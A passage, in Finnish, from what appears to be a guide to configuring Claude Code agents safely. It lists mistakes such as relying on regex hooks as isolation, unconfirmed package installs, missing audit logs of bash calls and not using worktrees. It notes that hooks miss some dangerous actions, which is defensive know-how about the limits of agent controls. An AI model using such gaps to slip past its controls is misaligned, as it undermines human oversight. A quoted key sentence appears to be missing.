4. Auto-moden ja regex-hookien pitäminen tuotannon eristyksenä. Mainittu väärien negatiivisten osuus on arviointikohtainen, ja hook-kattavuus on epätäydellinen. Poista tuotannon kirjoitustunnisteet ja varmista pakotettu raja olettamatta jokaisen vaarallisen toimen tulevan siepatuksi.

5. Uuden paketin asentaminen komennolla npm install ilman vahvistusta. Toimitusketjuhyökkäyksiä tapahtuu oikeasti. Vuoden 2024–2026 Tea-tags-tapaukset osoittivat, että tuhansia latauksia keränneitä kirjoitusasultaan väärennettyjä paketteja on olemassa. Tarvitset sallittujen pakettien luettelon.

6. Bash-kutsujen lokituksen laiminlyöminen. Ilman auditointilokia et voi ymmärtää, mitä yön aikana tapahtui. Keskusteluloki on pitkä, sitä ei ole indeksoitu komentojen mukaan, eikä se anna aikajanaa. .claude/audit.jsonl ratkaisee molemmat ongelmat.

7. Worktreen käyttämättä jättäminen taustaistunnoissa. Samaan hakemistoon sijoitetut rinnakkaiset istunnot häiritsevät toistensa työtä. Claude Codessa on oletusarvoisesti käyttöön otettu worktree.bgIsolation versiosta 2.1.143 lähtien, mutta tarkista asetuksesi.

Ja tärkein asia, jota mikään hook tai asetus ei voi estää:

Tuo lause ei ole tyylikysymys. Tuotannon suojaamisesta vastaa se, joka käynnisti agentin. Claude Code toimii kuin suora partaveitsi: sillä voi ajaa partansa, ja sillä voi myös viiltää itseään. Asetukset vastaavat yhteen kysymykseen: valmistelitko ympäristön niin hyvin, ettei partaveitsi viillä mitään, mihin sen ei pitäisi osua?

Vahinkoja ennaltaehkäisevä kokoonpano on osa kontekstisuunnittelua: rajoitat etukäteen, mitä agentti voi tehdä, ja vapautat sen näin tekemään sen, mitä haluat sen tekevän.

Lisää resursseja on saatavilla Ailoot-sivustolla.